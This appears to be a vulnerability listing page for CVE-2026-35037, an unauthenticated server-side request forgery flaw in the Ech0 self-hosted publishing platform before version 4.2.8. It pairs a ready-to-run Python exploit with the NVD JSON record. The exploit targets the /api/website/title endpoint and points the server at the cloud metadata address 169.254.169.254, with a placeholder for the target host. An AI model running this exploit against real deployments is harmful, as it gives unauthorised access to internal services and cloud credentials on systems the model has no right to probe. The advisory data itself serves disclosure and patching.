CVE-2026-35037

import requests def check_ssrf(target_host): """ Exploit CVE-2026-35037: Ech0 SSRF via /api/website/title """ # Vulnerable endpoint endpoint = "/api/website/title" # Target internal service (e.g., AWS Metadata) # Note: In a real test, replace with a controlled internal domain payload_url = "http://169.254.169.254/latest/meta-data/ami-id" full_url = f"http://{target_host}{endpoint}?website_url={payload_url}" try: response = requests.get(full_url, timeout=5) if response.status_code == 200: print(f"[+] Request sent to: {full_url}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if "ami-" in response.text or response.text != "": print("[!] Potential SSRF vulnerability confirmed!") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "example.com" # Replace with actual target check_ssrf(target)

{"cve": {"id": "CVE-2026-35037", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:13.093", "lastModified": "2026-04-22T18:59:55.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, the GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction This vulnerability is fixed in 4.2.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ech0:ech0:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.8", "matchCriteriaId": "9571E0F6-6EAF-4AFD-AE06-4E579DFE798A"}]}]}], "references": [{"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}